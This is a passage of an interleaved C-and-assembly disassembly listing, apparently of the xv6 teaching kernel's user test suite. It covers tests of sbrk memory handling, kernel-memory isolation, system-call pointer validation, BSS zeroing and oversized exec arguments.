2e9b: 89 45 e4 mov %eax,-0x1c(%ebp)
if(pid < 0){
2e9e: 83 7d e4 00 cmpl $0x0,-0x1c(%ebp)
2ea2: 79 1a jns 2ebe <sbrktest+0xcd>
printf(stdout, "sbrk test fork failed\n");
2ea4: a1 b4 5e 00 00 mov 0x5eb4,%eax
2ea9: c7 44 24 04 65 54 00 movl $0x5465,0x4(%esp)
2eb0: 00
2eb1: 89 04 24 mov %eax,(%esp)
2eb4: e8 df 0e 00 00 call 3d98 <printf>
exit();
2eb9: e8 4a 0d 00 00 call 3c08 <exit>
}
c = sbrk(1);
2ebe: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2ec5: e8 c6 0d 00 00 call 3c90 <sbrk>
2eca: 89 45 e0 mov %eax,-0x20(%ebp)
c = sbrk(1);
2ecd: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2ed4: e8 b7 0d 00 00 call 3c90 <sbrk>
2ed9: 89 45 e0 mov %eax,-0x20(%ebp)
if(c != a + 1){
2edc: 8b 45 f4 mov -0xc(%ebp),%eax
2edf: 40 inc %eax
2ee0: 3b 45 e0 cmp -0x20(%ebp),%eax
2ee3: 74 1a je 2eff <sbrktest+0x10e>
printf(stdout, "sbrk test failed post-fork\n");
2ee5: a1 b4 5e 00 00 mov 0x5eb4,%eax
2eea: c7 44 24 04 7c 54 00 movl $0x547c,0x4(%esp)
2ef1: 00
2ef2: 89 04 24 mov %eax,(%esp)
2ef5: e8 9e 0e 00 00 call 3d98 <printf>
exit();
2efa: e8 09 0d 00 00 call 3c08 <exit>
}
if(pid == 0)
2eff: 83 7d e4 00 cmpl $0x0,-0x1c(%ebp)
2f03: 75 05 jne 2f0a <sbrktest+0x119>
exit();
2f05: e8 fe 0c 00 00 call 3c08 <exit>
wait();
2f0a: e8 01 0d 00 00 call 3c10 <wait>
// can one grow address space to something big?
#define BIG (100*1024*1024)
a = sbrk(0);
2f0f: c7 04 24 00 00 00 00 movl $0x0,(%esp)
2f16: e8 75 0d 00 00 call 3c90 <sbrk>
2f1b: 89 45 f4 mov %eax,-0xc(%ebp)
amt = (BIG) - (uint)a;
2f1e: 8b 45 f4 mov -0xc(%ebp),%eax
2f21: ba 00 00 40 06 mov $0x6400000,%edx
2f26: 89 d1 mov %edx,%ecx
2f28: 29 c1 sub %eax,%ecx
2f2a: 89 c8 mov %ecx,%eax
2f2c: 89 45 dc mov %eax,-0x24(%ebp)
p = sbrk(amt);
2f2f: 8b 45 dc mov -0x24(%ebp),%eax
2f32: 89 04 24 mov %eax,(%esp)
2f35: e8 56 0d 00 00 call 3c90 <sbrk>
2f3a: 89 45 d8 mov %eax,-0x28(%ebp)
if (p != a) {
2f3d: 8b 45 d8 mov -0x28(%ebp),%eax
2f40: 3b 45 f4 cmp -0xc(%ebp),%eax
2f43: 74 1a je 2f5f <sbrktest+0x16e>
printf(stdout, "sbrk test failed to grow big address space; enough phys mem?\n");
2f45: a1 b4 5e 00 00 mov 0x5eb4,%eax
2f4a: c7 44 24 04 98 54 00 movl $0x5498,0x4(%esp)
2f51: 00
2f52: 89 04 24 mov %eax,(%esp)
2f55: e8 3e 0e 00 00 call 3d98 <printf>
exit();
2f5a: e8 a9 0c 00 00 call 3c08 <exit>
}
lastaddr = (char*) (BIG-1);
2f5f: c7 45 d4 ff ff 3f 06 movl $0x63fffff,-0x2c(%ebp)
*lastaddr = 99;
2f66: 8b 45 d4 mov -0x2c(%ebp),%eax
2f69: c6 00 63 movb $0x63,(%eax)
// can one de-allocate?
a = sbrk(0);
2f6c: c7 04 24 00 00 00 00 movl $0x0,(%esp)
2f73: e8 18 0d 00 00 call 3c90 <sbrk>
2f78: 89 45 f4 mov %eax,-0xc(%ebp)
c = sbrk(-4096);
2f7b: c7 04 24 00 f0 ff ff movl $0xfffff000,(%esp)
2f82: e8 09 0d 00 00 call 3c90 <sbrk>
2f87: 89 45 e0 mov %eax,-0x20(%ebp)
if(c == (char*)0xffffffff){
2f8a: 83 7d e0 ff cmpl $0xffffffff,-0x20(%ebp)
2f8e: 75 1a jne 2faa <sbrktest+0x1b9>
printf(stdout, "sbrk could not deallocate\n");
2f90: a1 b4 5e 00 00 mov 0x5eb4,%eax
2f95: c7 44 24 04 d6 54 00 movl $0x54d6,0x4(%esp)
2f9c: 00
2f9d: 89 04 24 mov %eax,(%esp)
2fa0: e8 f3 0d 00 00 call 3d98 <printf>
exit();
2fa5: e8 5e 0c 00 00 call 3c08 <exit>
}
c = sbrk(0);
2faa: c7 04 24 00 00 00 00 movl $0x0,(%esp)
2fb1: e8 da 0c 00 00 call 3c90 <sbrk>
2fb6: 89 45 e0 mov %eax,-0x20(%ebp)
if(c != a - 4096){
2fb9: 8b 45 f4 mov -0xc(%ebp),%eax
2fbc: 2d 00 10 00 00 sub $0x1000,%eax
2fc1: 3b 45 e0 cmp -0x20(%ebp),%eax
2fc4: 74 28 je 2fee <sbrktest+0x1fd>
printf(stdout, "sbrk deallocation produced wrong address, a %x c %x\n", a, c);
2fc6: a1 b4 5e 00 00 mov 0x5eb4,%eax
2fcb: 8b 55 e0 mov -0x20(%ebp),%edx
2fce: 89 54 24 0c mov %edx,0xc(%esp)
2fd2: 8b 55 f4 mov -0xc(%ebp),%edx
2fd5: 89 54 24 08 mov %edx,0x8(%esp)
2fd9: c7 44 24 04 f4 54 00 movl $0x54f4,0x4(%esp)
2fe0: 00
2fe1: 89 04 24 mov %eax,(%esp)
2fe4: e8 af 0d 00 00 call 3d98 <printf>
exit();
2fe9: e8 1a 0c 00 00 call 3c08 <exit>
}
// can one re-allocate that page?
a = sbrk(0);
2fee: c7 04 24 00 00 00 00 movl $0x0,(%esp)
2ff5: e8 96 0c 00 00 call 3c90 <sbrk>
2ffa: 89 45 f4 mov %eax,-0xc(%ebp)
c = sbrk(4096);
2ffd: c7 04 24 00 10 00 00 movl $0x1000,(%esp)
3004: e8 87 0c 00 00 call 3c90 <sbrk>
3009: 89 45 e0 mov %eax,-0x20(%ebp)
if(c != a || sbrk(0) != a + 4096){
300c: 8b 45 e0 mov -0x20(%ebp),%eax
300f: 3b 45 f4 cmp -0xc(%ebp),%eax
3012: 75 19 jne 302d <sbrktest+0x23c>
3014: c7 04 24 00 00 00 00 movl $0x0,(%esp)
301b: e8 70 0c 00 00 call 3c90 <sbrk>
3020: 8b 55 f4 mov -0xc(%ebp),%edx
3023: 81 c2 00 10 00 00 add $0x1000,%edx
3029: 39 d0 cmp %edx,%eax
302b: 74 28 je 3055 <sbrktest+0x264>
printf(stdout, "sbrk re-allocation failed, a %x c %x\n", a, c);
302d: a1 b4 5e 00 00 mov 0x5eb4,%eax
3032: 8b 55 e0 mov -0x20(%ebp),%edx
3035: 89 54 24 0c mov %edx,0xc(%esp)
3039: 8b 55 f4 mov -0xc(%ebp),%edx
303c: 89 54 24 08 mov %edx,0x8(%esp)
3040: c7 44 24 04 2c 55 00 movl $0x552c,0x4(%esp)
3047: 00
3048: 89 04 24 mov %eax,(%esp)
304b: e8 48 0d 00 00 call 3d98 <printf>
exit();
3050: e8 b3 0b 00 00 call 3c08 <exit>
}
if(*lastaddr == 99){
3055: 8b 45 d4 mov -0x2c(%ebp),%eax
3058: 8a 00 mov (%eax),%al
305a: 3c 63 cmp $0x63,%al
305c: 75 1a jne 3078 <sbrktest+0x287>
// should be zero
printf(stdout, "sbrk de-allocation didn't really deallocate\n");
305e: a1 b4 5e 00 00 mov 0x5eb4,%eax
3063: c7 44 24 04 54 55 00 movl $0x5554,0x4(%esp)
306a: 00
306b: 89 04 24 mov %eax,(%esp)
306e: e8 25 0d 00 00 call 3d98 <printf>
exit();
3073: e8 90 0b 00 00 call 3c08 <exit>
}
a = sbrk(0);
3078: c7 04 24 00 00 00 00 movl $0x0,(%esp)
307f: e8 0c 0c 00 00 call 3c90 <sbrk>
3084: 89 45 f4 mov %eax,-0xc(%ebp)
c = sbrk(-(sbrk(0) - oldbrk));
3087: 8b 5d ec mov -0x14(%ebp),%ebx
308a: c7 04 24 00 00 00 00 movl $0x0,(%esp)
3091: e8 fa 0b 00 00 call 3c90 <sbrk>
3096: 89 da mov %ebx,%edx
3098: 29 c2 sub %eax,%edx
309a: 89 d0 mov %edx,%eax
309c: 89 04 24 mov %eax,(%esp)
309f: e8 ec 0b 00 00 call 3c90 <sbrk>
30a4: 89 45 e0 mov %eax,-0x20(%ebp)
if(c != a){
30a7: 8b 45 e0 mov -0x20(%ebp),%eax
30aa: 3b 45 f4 cmp -0xc(%ebp),%eax
30ad: 74 28 je 30d7 <sbrktest+0x2e6>
printf(stdout, "sbrk downsize failed, a %x c %x\n", a, c);
30af: a1 b4 5e 00 00 mov 0x5eb4,%eax
30b4: 8b 55 e0 mov -0x20(%ebp),%edx
30b7: 89 54 24 0c mov %edx,0xc(%esp)
30bb: 8b 55 f4 mov -0xc(%ebp),%edx
30be: 89 54 24 08 mov %edx,0x8(%esp)
30c2: c7 44 24 04 84 55 00 movl $0x5584,0x4(%esp)
30c9: 00
30ca: 89 04 24 mov %eax,(%esp)
30cd: e8 c6 0c 00 00 call 3d98 <printf>
exit();
30d2: e8 31 0b 00 00 call 3c08 <exit>
}
// can we read the kernel's memory?
for(a = (char*)(KERNBASE); a < (char*) (KERNBASE+2000000); a += 50000){
30d7: c7 45 f4 00 00 00 80 movl $0x80000000,-0xc(%ebp)
30de: eb 7a jmp 315a <sbrktest+0x369>
ppid = getpid();
30e0: e8 a3 0b 00 00 call 3c88 <getpid>
30e5: 89 45 d0 mov %eax,-0x30(%ebp)
pid = fork();
30e8: e8 13 0b 00 00 call 3c00 <fork>
30ed: 89 45 e4 mov %eax,-0x1c(%ebp)
if(pid < 0){
30f0: 83 7d e4 00 cmpl $0x0,-0x1c(%ebp)
30f4: 79 1a jns 3110 <sbrktest+0x31f>
printf(stdout, "fork failed\n");
30f6: a1 b4 5e 00 00 mov 0x5eb4,%eax
30fb: c7 44 24 04 4d 45 00 movl $0x454d,0x4(%esp)
3102: 00
3103: 89 04 24 mov %eax,(%esp)
3106: e8 8d 0c 00 00 call 3d98 <printf>
exit();
310b: e8 f8 0a 00 00 call 3c08 <exit>
}
if(pid == 0){
3110: 83 7d e4 00 cmpl $0x0,-0x1c(%ebp)
3114: 75 38 jne 314e <sbrktest+0x35d>
printf(stdout, "oops could read %x = %x\n", a, *a);
3116: 8b 45 f4 mov -0xc(%ebp),%eax
3119: 8a 00 mov (%eax),%al
311b: 0f be d0 movsbl %al,%edx
311e: a1 b4 5e 00 00 mov 0x5eb4,%eax
3123: 89 54 24 0c mov %edx,0xc(%esp)
3127: 8b 55 f4 mov -0xc(%ebp),%edx
312a: 89 54 24 08 mov %edx,0x8(%esp)
312e: c7 44 24 04 a5 55 00 movl $0x55a5,0x4(%esp)
3135: 00
3136: 89 04 24 mov %eax,(%esp)
3139: e8 5a 0c 00 00 call 3d98 <printf>
kill(ppid);
313e: 8b 45 d0 mov -0x30(%ebp),%eax
3141: 89 04 24 mov %eax,(%esp)
3144: e8 ef 0a 00 00 call 3c38 <kill>
exit();
3149: e8 ba 0a 00 00 call 3c08 <exit>
}
wait();
314e: e8 bd 0a 00 00 call 3c10 <wait>
printf(stdout, "sbrk downsize failed, a %x c %x\n", a, c);
exit();
}
// can we read the kernel's memory?
for(a = (char*)(KERNBASE); a < (char*) (KERNBASE+2000000); a += 50000){
3153: 81 45 f4 50 c3 00 00 addl $0xc350,-0xc(%ebp)
315a: 81 7d f4 7f 84 1e 80 cmpl $0x801e847f,-0xc(%ebp)
3161: 0f 86 79 ff ff ff jbe 30e0 <sbrktest+0x2ef>
wait();
}
// if we run the system out of memory, does it clean up the last
// failed allocation?
if(pipe(fds) != 0){
3167: 8d 45 c8 lea -0x38(%ebp),%eax
316a: 89 04 24 mov %eax,(%esp)
316d: e8 a6 0a 00 00 call 3c18 <pipe>
3172: 85 c0 test %eax,%eax
3174: 74 19 je 318f <sbrktest+0x39e>
printf(1, "pipe() failed\n");
3176: c7 44 24 04 a1 44 00 movl $0x44a1,0x4(%esp)
317d: 00
317e: c7 04 24 01 00 00 00 movl $0x1,(%esp)
3185: e8 0e 0c 00 00 call 3d98 <printf>
exit();
318a: e8 79 0a 00 00 call 3c08 <exit>
}
for(i = 0; i < sizeof(pids)/sizeof(pids[0]); i++){
318f: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
3196: e9 88 00 00 00 jmp 3223 <sbrktest+0x432>
if((pids[i] = fork()) == 0){
319b: e8 60 0a 00 00 call 3c00 <fork>
31a0: 8b 55 f0 mov -0x10(%ebp),%edx
31a3: 89 44 95 a0 mov %eax,-0x60(%ebp,%edx,4)
31a7: 8b 45 f0 mov -0x10(%ebp),%eax
31aa: 8b 44 85 a0 mov -0x60(%ebp,%eax,4),%eax
31ae: 85 c0 test %eax,%eax
31b0: 75 48 jne 31fa <sbrktest+0x409>
// allocate a lot of memory
sbrk(BIG - (uint)sbrk(0));
31b2: c7 04 24 00 00 00 00 movl $0x0,(%esp)
31b9: e8 d2 0a 00 00 call 3c90 <sbrk>
31be: ba 00 00 40 06 mov $0x6400000,%edx
31c3: 89 d1 mov %edx,%ecx
31c5: 29 c1 sub %eax,%ecx
31c7: 89 c8 mov %ecx,%eax
31c9: 89 04 24 mov %eax,(%esp)
31cc: e8 bf 0a 00 00 call 3c90 <sbrk>
write(fds[1], "x", 1);
31d1: 8b 45 cc mov -0x34(%ebp),%eax
31d4: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp)
31db: 00
31dc: c7 44 24 04 06 45 00 movl $0x4506,0x4(%esp)
31e3: 00
31e4: 89 04 24 mov %eax,(%esp)
31e7: e8 3c 0a 00 00 call 3c28 <write>
// sit around until killed
for(;;) sleep(1000);
31ec: c7 04 24 e8 03 00 00 movl $0x3e8,(%esp)
31f3: e8 a0 0a 00 00 call 3c98 <sleep>
31f8: eb f2 jmp 31ec <sbrktest+0x3fb>
}
if(pids[i] != -1)
31fa: 8b 45 f0 mov -0x10(%ebp),%eax
31fd: 8b 44 85 a0 mov -0x60(%ebp,%eax,4),%eax
3201: 83 f8 ff cmp $0xffffffff,%eax
3204: 74 1a je 3220 <sbrktest+0x42f>
read(fds[0], &scratch, 1);
3206: 8b 45 c8 mov -0x38(%ebp),%eax
3209: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp)
3210: 00
3211: 8d 55 9f lea -0x61(%ebp),%edx
3214: 89 54 24 04 mov %edx,0x4(%esp)
3218: 89 04 24 mov %eax,(%esp)
321b: e8 00 0a 00 00 call 3c20 <read>
// failed allocation?
if(pipe(fds) != 0){
printf(1, "pipe() failed\n");
exit();
}
for(i = 0; i < sizeof(pids)/sizeof(pids[0]); i++){
3220: ff 45 f0 incl -0x10(%ebp)
3223: 8b 45 f0 mov -0x10(%ebp),%eax
3226: 83 f8 09 cmp $0x9,%eax
3229: 0f 86 6c ff ff ff jbe 319b <sbrktest+0x3aa>
if(pids[i] != -1)
read(fds[0], &scratch, 1);
}
// if those failed allocations freed up the pages they did allocate,
// we'll be able to allocate here
c = sbrk(4096);
322f: c7 04 24 00 10 00 00 movl $0x1000,(%esp)
3236: e8 55 0a 00 00 call 3c90 <sbrk>
323b: 89 45 e0 mov %eax,-0x20(%ebp)
for(i = 0; i < sizeof(pids)/sizeof(pids[0]); i++){
323e: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
3245: eb 26 jmp 326d <sbrktest+0x47c>
if(pids[i] == -1)
3247: 8b 45 f0 mov -0x10(%ebp),%eax
324a: 8b 44 85 a0 mov -0x60(%ebp,%eax,4),%eax
324e: 83 f8 ff cmp $0xffffffff,%eax
3251: 74 16 je 3269 <sbrktest+0x478>
continue;
kill(pids[i]);
3253: 8b 45 f0 mov -0x10(%ebp),%eax
3256: 8b 44 85 a0 mov -0x60(%ebp,%eax,4),%eax
325a: 89 04 24 mov %eax,(%esp)
325d: e8 d6 09 00 00 call 3c38 <kill>
wait();
3262: e8 a9 09 00 00 call 3c10 <wait>
3267: eb 01 jmp 326a <sbrktest+0x479>
// if those failed allocations freed up the pages they did allocate,
// we'll be able to allocate here
c = sbrk(4096);
for(i = 0; i < sizeof(pids)/sizeof(pids[0]); i++){
if(pids[i] == -1)
continue;
3269: 90 nop
read(fds[0], &scratch, 1);
}
// if those failed allocations freed up the pages they did allocate,
// we'll be able to allocate here
c = sbrk(4096);
for(i = 0; i < sizeof(pids)/sizeof(pids[0]); i++){
326a: ff 45 f0 incl -0x10(%ebp)
326d: 8b 45 f0 mov -0x10(%ebp),%eax
3270: 83 f8 09 cmp $0x9,%eax
3273: 76 d2 jbe 3247 <sbrktest+0x456>
if(pids[i] == -1)
continue;
kill(pids[i]);
wait();
}
if(c == (char*)0xffffffff){
3275: 83 7d e0 ff cmpl $0xffffffff,-0x20(%ebp)
3279: 75 1a jne 3295 <sbrktest+0x4a4>
printf(stdout, "failed sbrk leaked memory\n");
327b: a1 b4 5e 00 00 mov 0x5eb4,%eax
3280: c7 44 24 04 be 55 00 movl $0x55be,0x4(%esp)
3287: 00
3288: 89 04 24 mov %eax,(%esp)
328b: e8 08 0b 00 00 call 3d98 <printf>
exit();
3290: e8 73 09 00 00 call 3c08 <exit>
}
if(sbrk(0) > oldbrk)
3295: c7 04 24 00 00 00 00 movl $0x0,(%esp)
329c: e8 ef 09 00 00 call 3c90 <sbrk>
32a1: 3b 45 ec cmp -0x14(%ebp),%eax
32a4: 76 1d jbe 32c3 <sbrktest+0x4d2>
sbrk(-(sbrk(0) - oldbrk));
32a6: 8b 5d ec mov -0x14(%ebp),%ebx
32a9: c7 04 24 00 00 00 00 movl $0x0,(%esp)
32b0: e8 db 09 00 00 call 3c90 <sbrk>
32b5: 89 da mov %ebx,%edx
32b7: 29 c2 sub %eax,%edx
32b9: 89 d0 mov %edx,%eax
32bb: 89 04 24 mov %eax,(%esp)
32be: e8 cd 09 00 00 call 3c90 <sbrk>
printf(stdout, "sbrk test OK\n");
32c3: a1 b4 5e 00 00 mov 0x5eb4,%eax
32c8: c7 44 24 04 d9 55 00 movl $0x55d9,0x4(%esp)
32cf: 00
32d0: 89 04 24 mov %eax,(%esp)
32d3: e8 c0 0a 00 00 call 3d98 <printf>
}
32d8: 81 c4 84 00 00 00 add $0x84,%esp
32de: 5b pop %ebx
32df: 5d pop %ebp
32e0: c3 ret
000032e1 <validateint>:
void
validateint(int *p)
{
32e1: 55 push %ebp
32e2: 89 e5 mov %esp,%ebp
32e4: 56 push %esi
32e5: 53 push %ebx
32e6: 83 ec 14 sub $0x14,%esp
int res;
asm("mov %%esp, %%ebx\n\t"
32e9: c7 45 e4 0d 00 00 00 movl $0xd,-0x1c(%ebp)
32f0: 8b 55 08 mov 0x8(%ebp),%edx
32f3: 8b 45 e4 mov -0x1c(%ebp),%eax
32f6: 89 d1 mov %edx,%ecx
32f8: 89 e3 mov %esp,%ebx
32fa: 89 cc mov %ecx,%esp
32fc: cd 40 int $0x40
32fe: 89 dc mov %ebx,%esp
3300: 89 c6 mov %eax,%esi
3302: 89 75 f4 mov %esi,-0xc(%ebp)
"int %2\n\t"
"mov %%ebx, %%esp" :
"=a" (res) :
"a" (SYS_sleep), "n" (T_SYSCALL), "c" (p) :
"ebx");
}
3305: 83 c4 14 add $0x14,%esp
3308: 5b pop %ebx
3309: 5e pop %esi
330a: 5d pop %ebp
330b: c3 ret
0000330c <validatetest>:
void
validatetest(void)
{
330c: 55 push %ebp
330d: 89 e5 mov %esp,%ebp
330f: 83 ec 28 sub $0x28,%esp
int hi, pid;
uint p;
printf(stdout, "validate test\n");
3312: a1 b4 5e 00 00 mov 0x5eb4,%eax
3317: c7 44 24 04 e7 55 00 movl $0x55e7,0x4(%esp)
331e: 00
331f: 89 04 24 mov %eax,(%esp)
3322: e8 71 0a 00 00 call 3d98 <printf>
hi = 1100*1024;
3327: c7 45 f0 00 30 11 00 movl $0x113000,-0x10(%ebp)
for(p = 0; p <= (uint)hi; p += 4096){
332e: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
3335: eb 7f jmp 33b6 <validatetest+0xaa>
if((pid = fork()) == 0){
3337: e8 c4 08 00 00 call 3c00 <fork>
333c: 89 45 ec mov %eax,-0x14(%ebp)
333f: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
3343: 75 10 jne 3355 <validatetest+0x49>
// try to crash the kernel by passing in a badly placed integer
validateint((int*)p);
3345: 8b 45 f4 mov -0xc(%ebp),%eax
3348: 89 04 24 mov %eax,(%esp)
334b: e8 91 ff ff ff call 32e1 <validateint>
exit();
3350: e8 b3 08 00 00 call 3c08 <exit>
}
sleep(0);
3355: c7 04 24 00 00 00 00 movl $0x0,(%esp)
335c: e8 37 09 00 00 call 3c98 <sleep>
sleep(0);
3361: c7 04 24 00 00 00 00 movl $0x0,(%esp)
3368: e8 2b 09 00 00 call 3c98 <sleep>
kill(pid);
336d: 8b 45 ec mov -0x14(%ebp),%eax
3370: 89 04 24 mov %eax,(%esp)
3373: e8 c0 08 00 00 call 3c38 <kill>
wait();
3378: e8 93 08 00 00 call 3c10 <wait>
// try to crash the kernel by passing in a bad string pointer
if(link("nosuchfile", (char*)p) != -1){
337d: 8b 45 f4 mov -0xc(%ebp),%eax
3380: 89 44 24 04 mov %eax,0x4(%esp)
3384: c7 04 24 f6 55 00 00 movl $0x55f6,(%esp)
338b: e8 d8 08 00 00 call 3c68 <link>
3390: 83 f8 ff cmp $0xffffffff,%eax
3393: 74 1a je 33af <validatetest+0xa3>
printf(stdout, "link should not succeed\n");
3395: a1 b4 5e 00 00 mov 0x5eb4,%eax
339a: c7 44 24 04 01 56 00 movl $0x5601,0x4(%esp)
33a1: 00
33a2: 89 04 24 mov %eax,(%esp)
33a5: e8 ee 09 00 00 call 3d98 <printf>
exit();
33aa: e8 59 08 00 00 call 3c08 <exit>
uint p;
printf(stdout, "validate test\n");
hi = 1100*1024;
for(p = 0; p <= (uint)hi; p += 4096){
33af: 81 45 f4 00 10 00 00 addl $0x1000,-0xc(%ebp)
33b6: 8b 45 f0 mov -0x10(%ebp),%eax
33b9: 3b 45 f4 cmp -0xc(%ebp),%eax
33bc: 0f 83 75 ff ff ff jae 3337 <validatetest+0x2b>
printf(stdout, "link should not succeed\n");
exit();
}
}
printf(stdout, "validate ok\n");
33c2: a1 b4 5e 00 00 mov 0x5eb4,%eax
33c7: c7 44 24 04 1a 56 00 movl $0x561a,0x4(%esp)
33ce: 00
33cf: 89 04 24 mov %eax,(%esp)
33d2: e8 c1 09 00 00 call 3d98 <printf>
}
33d7: c9 leave
33d8: c3 ret
000033d9 <bsstest>:
// does unintialized data start out zero?
char uninit[10000];
void
bsstest(void)
{
33d9: 55 push %ebp
33da: 89 e5 mov %esp,%ebp
33dc: 83 ec 28 sub $0x28,%esp
int i;
printf(stdout, "bss test\n");
33df: a1 b4 5e 00 00 mov 0x5eb4,%eax
33e4: c7 44 24 04 27 56 00 movl $0x5627,0x4(%esp)
33eb: 00
33ec: 89 04 24 mov %eax,(%esp)
33ef: e8 a4 09 00 00 call 3d98 <printf>
for(i = 0; i < sizeof(uninit); i++){
33f4: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
33fb: eb 2b jmp 3428 <bsstest+0x4f>
if(uninit[i] != '\0'){
33fd: 8b 45 f4 mov -0xc(%ebp),%eax
3400: 05 80 5f 00 00 add $0x5f80,%eax
3405: 8a 00 mov (%eax),%al
3407: 84 c0 test %al,%al
3409: 74 1a je 3425 <bsstest+0x4c>
printf(stdout, "bss test failed\n");
340b: a1 b4 5e 00 00 mov 0x5eb4,%eax
3410: c7 44 24 04 31 56 00 movl $0x5631,0x4(%esp)
3417: 00
3418: 89 04 24 mov %eax,(%esp)
341b: e8 78 09 00 00 call 3d98 <printf>
exit();
3420: e8 e3 07 00 00 call 3c08 <exit>
bsstest(void)
{
int i;
printf(stdout, "bss test\n");
for(i = 0; i < sizeof(uninit); i++){
3425: ff 45 f4 incl -0xc(%ebp)
3428: 8b 45 f4 mov -0xc(%ebp),%eax
342b: 3d 0f 27 00 00 cmp $0x270f,%eax
3430: 76 cb jbe 33fd <bsstest+0x24>
if(uninit[i] != '\0'){
printf(stdout, "bss test failed\n");
exit();
}
}
printf(stdout, "bss test ok\n");
3432: a1 b4 5e 00 00 mov 0x5eb4,%eax
3437: c7 44 24 04 42 56 00 movl $0x5642,0x4(%esp)
343e: 00
343f: 89 04 24 mov %eax,(%esp)
3442: e8 51 09 00 00 call 3d98 <printf>
}
3447: c9 leave
3448: c3 ret
00003449 <bigargtest>:
// does exec return an error if the arguments
// are larger than a page? or does it write
// below the stack and wreck the instructions/data?
void
bigargtest(void)
{
3449: 55 push %ebp
344a: 89 e5 mov %esp,%ebp
344c: 83 ec 28 sub $0x28,%esp
int pid, fd;
unlink("bigarg-ok");
344f: c7 04 24 4f 56 00 00 movl $0x564f,(%esp)
3456: e8 fd 07 00 00 call 3c58 <unlink>
pid = fork();
345b: e8 a0 07 00 00 call 3c00 <fork>
3460: 89 45 f0 mov %eax,-0x10(%ebp)
if(pid == 0){
3463: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
3467: 0f 85 8f 00 00 00 jne 34fc <bigargtest+0xb3>
static char *args[MAXARG];
int i;
for(i = 0; i < MAXARG-1; i++)
346d: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
3474: eb 11 jmp 3487 <bigargtest+0x3e>
args[i] = "bigargs test: failed\n ";
3476: 8b 45 f4 mov -0xc(%ebp),%eax
3479: c7 04 85 e0 5e 00 00 movl $0x565c,0x5ee0(,%eax,4)
3480: 5c 56 00 00
unlink("bigarg-ok");
pid = fork();
if(pid == 0){
static char *args[MAXARG];
int i;
for(i = 0; i < MAXARG-1; i++)
3484: ff 45 f4 incl -0xc(%ebp)
3487: 83 7d f4 1e cmpl $0x1e,-0xc(%ebp)
348b: 7e e9 jle 3476 <bigargtest+0x2d>
args[i] = "bigargs test: failed\n ";
args[MAXARG-1] = 0;
348d: c7 05 5c 5f 00 00 00 movl $0x0,0x5f5c
3494: 00 00 00
printf(stdout, "bigarg test\n");
3497: a1 b4 5e 00 00 mov 0x5eb4,%eax
349c: c7 44 24 04 39 57 00 movl $0x5739,0x4(%esp)
34a3: 00
34a4: 89 04 24 mov %eax,(%esp)
34a7: e8 ec 08 00 00 call 3d98 <printf>
exec("echo", args);
34ac: c7 44 24 04 e0 5e 00 movl $0x5ee0,0x4(%esp)
34b3: 00
34b4: c7 04 24 60 41 00 00 movl $0x4160,(%esp)
34bb: e8 80 07 00 00 call 3c40 <exec>
printf(stdout, "bigarg test ok\n");
34c0: a1 b4 5e 00 00 mov 0x5eb4,%eax
34c5: c7 44 24 04 46 57 00 movl $0x5746,0x4(%esp)
34cc: 00
34cd: 89 04 24 mov %eax,(%esp)
34d0: e8 c3 08 00 00 call 3d98 <printf>
fd = open("bigarg-ok", O_CREATE);
34d5: c7 44 24 04 00 02 00 movl $0x200,0x4(%esp)
34dc: 00
34dd: c7 04 24 4f 56 00 00 movl $0x564f,(%esp)
34e4: e8 5f 07 00 00 call 3c48 <open>
34e9: 89 45 ec mov %eax,-0x14(%ebp)
close(fd);
34ec: 8b 45 ec mov -0x14(%ebp),%eax
34ef: 89 04 24 mov %eax,(%esp)
34f2: e8 39 07 00 00 call 3c30 <close>
exit();
34f7: e8 0c 07 00 00 call 3c08 <exit>
} else if(pid < 0){
34fc: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
3500: 79 1a jns 351c <bigargtest+0xd3>
printf(stdout, "bigargtest: fork failed\n");
3502: a1 b4 5e 00 00 mov 0x5eb4,%eax
3507: c7 44 24 04 56 57 00 movl $0x5756,0x4(%esp)
350e: 00
350f: 89 04 24 mov %eax,(%esp)
3512: e8 81 08 00 00 call 3d98 <printf>
exit();
3517: e8 ec 06 00 00 call 3c08 <exit>
}
wait();
351c: e8 ef 06 00 00 call 3c10 <wait>
fd = open("bigarg-ok", 0);
3521: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
3528: 00
3529: c7 04 24 4f 56 00 00 movl $0x564f,(%esp)
3530: e8 13 07 00 00 call 3c48 <open>
3535: 89 45 ec mov %eax,-0x14(%ebp)
if(fd < 0){
3538: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
353c: 79 1a jns 3558 <bigargtest+0x10f>
printf(stdout, "bigarg test failed!\n");
353e: a1 b4 5e 00 00 mov 0x5eb4,%eax
3543: c7 44 24 04 6f 57 00 movl $0x576f,0x4(%esp)
354a: 00
354b: 89 04 24 mov %eax,(%esp)
354e: e8 45 08 00 00 call 3d98 <printf>
exit();
3553: e8 b0 06 00 00 call 3c08 <exit>
}
close(fd);
3558: 8b 45 ec mov -0x14(%ebp),%eax
355b: 89 04 24 mov %eax,(%esp)
355e: e8 cd 06 00 00 call 3c30 <close>
unlink("bigarg-ok");
3563: c7 04 24 4f 56 00 00 movl $0x564f,(%esp)
356a: e8 e9 06 00 00 call 3c58 <unlink>
}
356f: c9 leave
3570: c3 ret
00003571 <fsfull>:
// what happens when the file system runs out of blocks?
// answer: balloc panics, so this test is not useful.
void
fsfull()
{
3571: 55 push %ebp
3572: 89 e5 mov %esp,%ebp
3574: 53 push %ebx
3575: 83 ec 74 sub $0x74,%esp
int nfiles;
int fsblocks = 0;
3578: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
printf(1, "fsfull test\n");
357f: c7 44 24 04 84 57 00 movl $0x5784,0x4(%esp)
3586: 00
3587: c7 04 24 01 00 00 00 movl $0x1,(%esp)
358e: e8 05 08 00 00 call 3d98 <printf>
for(nfiles = 0; ; nfiles++){
3593: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
char name[64];
name[0] = 'f';
